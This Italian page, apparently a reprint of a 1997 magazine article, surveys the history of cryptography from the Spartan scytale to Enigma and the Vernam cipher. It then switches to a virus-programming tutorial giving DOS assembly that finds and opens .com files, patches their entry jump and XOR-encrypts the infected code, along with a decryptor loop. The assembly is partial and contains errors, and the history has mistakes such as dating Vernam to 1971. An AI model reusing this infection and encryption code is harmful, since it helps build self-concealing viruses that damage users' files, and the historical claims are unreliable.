La Crittografia

cipher.ren (37105 bytes)

Tratto da "La storia e le origini 1a parte" PCantivirus N.15 del 8 Febbraio 1997

 

La parola crittografia è ormai all'ordine del giorno nel mondo dell'informatica, il più delle volte unita o correlata ai problemi della sicurezza sulle reti come Internet.

Ma anche se gli sviluppi più importanti nel campo della crittoanalisi e della cifratura sono stati realizzati nell'età moderna (soprattutto grazie all'ausilio dei computer) bisogna dire che la storia e l'origine di esse risalgono a molto tempo prima, addirittura all'antichità.Il problema della comunicazione è stato (dopo quello del cibo ! ) il primo ad essere affrontato dall'uomo, se ad esso uniamo anche quello della sicurezza e della segretezza allora otteniamo la crittografia.Il termine infatti indica un tipo di scrittura insolita che non ha alcun significato o senso apparente per la maggior parte delle persone,tranne che per quelli che sono in possesso della chiave, cioè hanno i mezzi per poter interpretare correttamente quei simboli.Chi di voi non ha mai risolto cruciverba crittografato sulla Settimana Enigmistica ? Oppure che è che non conosce o ha sentito parlare dell'Alfabeto Morse ? Questi esempi banali non sono altro che forma di cifratura la cui chiave però è a portata di chiunque oppure sono basate su un sistema così facile da essere scoperto subito (a numero corrisponde lettera).Con l'affinarsi però dei mezzi a disposizione l'uomo ha escogitato  sistemi sempre più complicati da scoprire, dei quali la maggior parte risale al periodo della Seconda Guerra Mondiale e del dopoguerra (la famosa "cold war" tra USA e URSS).Ma prima di addentrarci nella crittografia dell'età moderna facciamo una sintensi delle sue origini, questa prima parte dell'articolo infatti contiene una breve storia della cifratura, la seconda parte invece tratterà in modo più approfondito i sistemi di codifica impiegati attualmente e per finire analizzeremo le tecniche crittografiche impiegate dai virus.

La parola crittografia è un neologismo originario del greco che, come abbiamo spiegato, indica un sistema di scrittura decifrabile solo da chi conosce la chiave; la crittoanalisi invece è l'impiego delle facoltà logiche (umane o cibernetiche) che permette,attraverso complicati calcoli statistici e matematici, di poter risalire al testo originale partendo da un messaggio cifrato.Si può parlare di crittografia quindi quando un alfabeto viene associato a dei simboli, che possono essere a loro volta lettere,numeri,disegni,e qualsiasi altra cosa.Ma quand'è che tali tecniche vennero impiegate per la prima volta ?

L'uomo probabilmente provò a proteggere le informazioni in forma scritta fin da quando fu inventata la scrittura.Gli esempi sopravvivono ancora oggi nelle iscrizioni murarie,nelle tavolette cuneiformi,e i papiri ci mostrano che gli antichi Egizi,Ebrei,Babilonesi e Assiri assieme a tutti i sistemi precrittografici costruiti avevano lo scopo di negare le informazioni a persone estranee alla loro stirpe. Tuttavia il primo uso effettivo documentato della crittografia tramite corrispondenza fu degli Spartani, che poco prima del 400 A.C. impiegarono una macchina cifrante chiamata "scytale" per le comunicazioni segrete tra i comandanti militari .Lo "scytale" consisteva in un bastone affusolato, attorno al quale era avvolta a forma di spirale una striscia di pergamena o cuoio su cui era scritto il messaggio.Quando essa venica scartocciata, le lettere venivano mescolate adeguatamente e formavano il cifrario; tuttavia se la striscia veniva avvolta ad un bastone delle stesse proporzioni dell'originale, il testo chiaro riappariva.In questo modo i Greci furono gli inventori del primo sistema di trasposizione delle cifre.Durante il quarto secolo A.C., Aeneas Tacticus scrisse un'opera intitolata " Sulla Difesa Delle Fortificazioni", di cui un capitolo intero era dedicato alla crittografia, divenendo così il più antico trattato in materia.Un altro greco, Polibio, escogitò un sistema di codifica delle lettere in coppie di simboli tramite una macchina chiamata "Tavola di Verifica", che è una effettiva sostituzione biletterale a anticipa molti elementi dei sistemi crittografici successivi.Esempi simili di permutazioni primitive o di trasposizione delle cifre abbondano nella storia delle altre civiltà.I Romani usarono una sostituzione monoalfabetica con un semplice ciclo di dislocamento dell'alfabeto.Giulio Cesare impiegò uno scambio di tre posizioni in modo che la lettera "A" venisse cifrata con "D" e così via.Sotto Cesare Augusto invece lo scambio era di una sola posizione, così la "A" veniva cifrata con la "B".

Il primo popolo a capire chiaramente i principi della crittografia e ad enunciare le regole della crittoanalisi furuno gli Arabi (non a caso gli inventori del sistema di numerazione decimale!).Essi escogitarono ed usarono sia la sostituzione sia la trasposizione delle cifre, e scoprirono l'uso della frequenza di distribuzione delle lettere e del calcolo delle probabilità nelle crittoanalisi.Come risultato, durante il 1412 circa, al-Kalka-shandi riuscì ad elaborare un rispettabile,anche se elementare, trattato su numerosi sistemi di crittografia nella sua enciclopedia "Subh al-a'sha" e diede istruzioni esplicite su come crittoanalizzare un testo cifrato usando il calcolo della frequenza delle lettere integrando il tutto con molti esempi per illustrare la tecnica.L'età della crittologia Europea risale a Medioevo, periodo in cui essa fu ampliata allo Stato Pontificio ed agli stati della penisola italiana.Il cifrario più antico implicava soltanto una sostituzione delle vocali (lasciando così le consonanti immutate).Il primo manuale Europeo sulla crittografia (anno 1379) fu una raccolta di cifrari ad opera di Gabriele de Lavinde di Parma, che fu al serzivio di Papa Clemente VII. Questo manuale, ora situato negli archivi del Vaticano, contiene una serie di chiavi per 24 corrispondenze e abbraccia simboli per lettere e numerosi codici di due caratteri equivalenti a nomi ed a parole.I primi vocabolari di codici,chiamati nomenclatori, furono graudalmente ampliati e divennero indispensabili per le comunicazioni diplomatiche di quasi tutti i governi Europei per molti secoli.Nel 1470 Leon Battista Alberti pubblicò "Trattati in cifra", in cui egli descrisse il primo cifrario a disco; egli specificò inoltre che la posizione del disco doveva essere cambiata dopo aver cifrato tre o quattro parole, in questo modo veniva concepita la prima nozione di polialfabeticità.Giambattista della Porta fornì una forma modificata della tavoletta quadrata e i primi esempi di cifre digrafiche in "De furtivis literarum notis" (1563).Il " Traictè des chiffres" pubblicato nel 1586 da Blaise de Vigenère contiene la tavola quadrata comunemente attribuita a lui (immagine) e le descrizioni dei primi sistemi a chiave automatiche di cifratura/decifratura.Nel 1860 molti codici divennero  di uso comune per le comunicazioni diplomatiche, e i sistemi di cifratura erano una rarità di questa applicazione.Tuttavia i sistemi a cifre prevalsero e furono impiegati  per le comunicazioni militari, eccetto che per le comunicazioni di alto grado a causa della difficoltà nel proteggere i libri con i codici dalle mani nemiche.

Nella storia recente degli Stati Uniti, i codici furono largamente impiegati come un libro di cifre.Durante la Guerra Civile l'esercito Federale fece un vasto impiego della trasposizione delle cifre, in cui una parola chiave indicava l'ordine in cui colonne e righe dovevano essere letti e in cui gli elementi erano insieme parole del testo originale o parole codice di rimpiazzo per queste ultime.L'esercito dei Confederati in origine usò il cifrario Vigenère e in alcune occasioni una sostituzione monoalfabetica.Mentre i criptoanalisti dell'Unione scoprirono la maggior parte dei messaggi cifrati dei Confederati,la Confederazione a volte, nella più totale disperaazione, pubblicò i cifrari  dell'Unione sui giornali, facendo richiesta di aiuto ai lettori che fossero riusciti a decifrarli.

E in Europa ? Come si sviluppò questa scienza ? La situazione politica, specialmente quella del 1800, sembra essere il palcoscenico adatto per le storie di spionaggio,messaggi nascosti, comunicati da tutelare.In Italia infatti durante il periodo del dominio austriaco, sorsero le cosìddette "Società Segrete", che dichiarando un programma politico volutamente fuorilegge (specialmente per il regno d'Austria) ricorsero più volte ai sistemi di cifratura con simboli per proteggere la loro corrispondenza, che se fosse in mani sbagliate, avrebbe potuto causare la condanna a morte di molti adepti.Il sistema qui usato è il più facile da realizzare: ad ogni simbolo corrisponde una lettera dell'alfabeto, però è anche facile da smascherare, bastano un pò d'ingegno e di calcoli statistici.Non ci credete ? Andate allora a leggervi il racconto dei "Pupazzi Ballerini" di Sir Arthur Conan Doyle, dove appunto il protagonista (chi se non il famoso detective Sherlock Holmes!) riesce a decifrare alcuni messaggi incomprensibili servendosi solo di pure deduzioni logiche.Difatti egli parte dal presupposto che la lettera più comune dell'alfabeto (inglese naturalmente) è la E, così sostituisce al simbolo con il maggior numero di ripetizioni questa vocale.Partendo poi dalle parole di due o tre lettere risale (scartando i casi possibili) alla decifrazione degli altri simboli, riuscendo quindi a decifrare il messaggio per intero.I riferimenti letterari alla decrittazione sono moltissimi e provengono da autori come Edgar Allan Poe e Giulio Verne (anch'essi appassionati crittologi dilettanti).

Ma pensate un poco al giorno d'oggi quanto tempo avrebbe impiegato un computer (anche un 486) per fare questo breve calcolo di sostituzioni e verifica! Nei primi anni del '900 i sistemi di crittografia si perfezionarono molto di più, specialmente nel corso dei due conflitti mondiali.Infatti fu proprio in questo caso che la cifratura venne studiata e considerata al livello di "arma tattica" : un cifrario debole o troppo semplice poteva compromettere l'intera campagna bellica di uno stato.In quegli anni spiccano nomi come Scherbius (inventore della macchina Enigma), Alan Turing (padre dell'intelligenza artificiale) e molti altri  matematici eccellenti che diedero alla crittografia la dignità di scienza.Lo sviluppo tecnologico portò alla creazione delle prime macchine cifranti, il cui funzionamento era regolato da alcuni rotori.Di tali macchine ci sono pervenuti alcuni disegni che ci mostrano appunto come la rotazione casuale dei rotori portava a crittografare un messaggio: non più quindi il codice del tipo "simbolo uguale-lettera uguale", d'ora in poi una stessa lettera (la "A" per esempio) poteva venire cifrata, nel corso dello stesso messaggio, prima con una "E" poi con una "K" e così via.Il sistema era di tipo simmetrico, cioè per decifrare un testo bastava ribatterlo sulla macchina che avrebbe mostrato questa volta la lettera esatta.Di queste macchine di certo la più famosa fu l'"Enigma" tedesca, costruita da Scherbius e usata largamente durante la Seconda Guerra.Il sistema di codifica studiata dai tecnici di Hitler era molto ingegnoso ed efficace, ma essi non tennero conto di una cosa:una macchina funzionante a rotori codifica in modo diverso le lettere ad ogni scatto della ruota dentata, ma trattandosi di una ruota (una circonferenza quindi) si ottiene alla fine un "ciclo crittografico" che appunto è verificabile ad ogni giro del rotore.Di conseguenza, conoscendo il numero di scatti della ruota dentata all'interno di una singola rotazione, è possibile applicare le regole di crittoanalisi e di statistica alfabetica che, provando le più svariate combinazioni, possono riuscire a decifrare un testo crittografato.A tale scopo venne costruito dagli inglesi la macchina "Colossus", che possiamo considerarlo a tutti gli effetti un primitivo computer.Esso infatti venne utilizzato  per forzare i vari cifrari esistenti all'epoca (quello tedesco dell'Enigma e quelli giapponesi creati dalle macchine Arancio e Rosso) e anche per fare alcuni straordinari calcoli per i missili balistici (MarkI). L'unico sistema rimasto sconosciuto agli alleati fu quello della macchina Porpora ideato anch'esso dai giapponesi.A questo punto se consideriamo l'enorme che i computer danno negli studi di crittoanalisi (con i processori a disposizione oggi si ottengono velocità di calcolo combinatorio impensate), sorge la seguente domanda: esiste un sistema crittografico perfetto, cioè non decodificabile da alcun computer ? Ebbene la risposta è si !

Tale sistema deve la sua scoperta (casuale) ad un impiegato della AT&T, Gilbert Vernam.Siamo nel 1971,l'epoca in cui ormai hanno larga diffusione le telescriventi elettromeccaniche che utilizzano schede perforate.L'ingegnoso sistema era basato sul principio di un "OR esclusivo" (XOR) nato dalla sovrapposizione di due schede perforate: una chiamata TO (Testo Originale) e l'altra chiamata K (la chiave della cifratura), l'output di tale processo diveniva un'altra scheda TC (Testo Cifrato) incomprensibile.Per ritornare al testo originale bastava rimettere nella macchina la scheda TC assiema a quella K. Matematicamente parlando (a livello puramente teorico) possiamo considerare il sistema di Vernam "perfetto",perchè appunto utilizzando una chiave totalmente casuale l'entropia ottenuta (cioè il grado di disordine) sarà massima.Purtroppo anche questo cifrario ha i suoi limiti: infatti per poter ottenere la perfezione matematica si richiede che la chiave K debba essere totalmente casuale (evitando il più possibile le ripetizioni), debba essere lunga quanto l'intero testo TO e infine (come buona norma) non dovrebbe essere usata più di una volta.Queste tre condizioni, difficili ma indispensabili, sono la spiegazione del successo di questo sistema: infatti eliminando le ripetizioni e i "cicli crittografici" dei rotori, si annullano anche basi su cui fondano i processi crittoanalitici.Ma la praticità di questo cifrario è altrettanto nulla: infatti è impossibile sapere in precedenza quanto sarà lungo il testo originale, inoltre come creare e conservare ogni volta chiavi troppo lunghe ? Per questo motivo solitamente viene utilizzata una piccola variante del sistema, cioè si parte da chiavi corte che subiscono le più imprevedibili trasformazioni matematiche.Come funziona la cosa ? Facciamo un esempio: cifriamo un testo utilizzando la chiave "1234", ottenendo un output più o meno simile a questo:

testo_originale => 123412341234 => testo_cifrato

                             *        *       *

dove gli asterischi rappresentano l'inizio di ogni ciclo crittografico.Se venissero scoperti solo due numeri della chiave già l'intero processo crittografico sarebbe nullificato, ma introducendo la permutazione della chiave si possono ottenere ogni volta cifrature differenti:

Chiave No1 o di Partenza = 1234

Chiave No2 : 8765 (si ottiene da 9999-1234)

Chiave No3 : 4332 ( si ottiene dividendo ogni cifra per due; 8/2 =4; 7/2=3,(5); ecc.

Chiave No4 : 1206 ( si ottiene moltiplicando le coppie di numeri 4x3=12;3x2=06

Chiave No5 : 2160 (scambia le coppie)

e così via...!

Un sistema del genere rende il cifrario molto più contorto, ma non perfetto: infatti potrebbe essere smascherato avendo a disposizione oltre al messaggio crittografato anche una copia dell'algoritmo (cioè le permutazioni matematiche operate sulla chiave) usato per l'operazione: con queste informazioni, usando la tecnica del "brute force", sarebbe in teoria possibile superare anche questo ostacolo.In cosa consiste questa tecnica ? Beh, l'argomento  è piuttosto attuale e riguarda il nostro secolo, quindi lo leggerete nella 2a parte dell'articolo, dove parleremo appunto dei sistemi e dei programmi moderni di cifratura.

 

Bene, dopo questo articolo ritorniamo al nostro assembly.Cifrare del codice può essere usato in diversi modi, comunque assolutamente importante quando parliamo della programmazione di virus.Dalla semplice cifratura delle stringe ASCII alla completa cifratura del virus.Quello che segue è un semplice esempio di come la cosa viene eseguita su di un file .com

mov dx,offset tipo_fie ; carichiamo il tipo di file che stiamo cercando ( *.com)

mov cx,3fh ; di ogni tipo

mov ah,4eh ; funzione 4eh dell'interrupt 21h per cercare il file

int 21h ; lo eseguiamo

mov dx,offset nome_file ; adesso lo carichiamo il file

mov al,2h ; accesso di lettura/scrittura

mov ah,3dh ; funzione 3dh apre il file

int 21h ; ecco che il file verrà aperto

Ora salviamo i primi 3 bytes

mov ax,word ptr (offset inizio) ; l'inizio del file

mov bl, byte ptr (offset inizio+2) ; più 2 bytes

mov bytes1_2,ax ; salviamo i primi bytes in bytes1_2

mov byte3,bl ; ed in byte3

mov byte ptr (offset inizio),09eh ; 09e corrisponde al jump

mov ax,fine_file

add ax (offset entrypoint - offset decifratore ) -3 ; conitnuiamo a scrivere il nostro jump per il decifratore

mov word ptr (offset inizio+1),ax

Ora cifriamo il codice

mov cx, lunghezza ; la lunghezza da usare (entrypoint - decifratore)

mov bp,offset (inizio+3) ; ecco che ritroviamo il nostro jump

mov bx,chiave_del_decifratore ; la chiave usata

cifra: xor word ptr(bp),bx ; il famoso XOR

add bp,02h

loop cifra ; continua con il ciclo

Per quanto riguarda il decifratore

mov bp,101 ; il nostro cs

push bx ; ecco che salviamo bx (l'IP)

decifra: xor word ptr (bp), chiave_del_decifratore ; usate la chiave che volete

inc bp

cmp bp,bx ; controlliamo se abbiamo decifrato tutto quanto

jna decifra ; altrimenti rifacciamo il ciclo

L'unica cosa che vi resta da fare è di salvare e poi ovviamente ripristinare di nuovo i registri.

 

L'assembly - VAI         Indice - VAI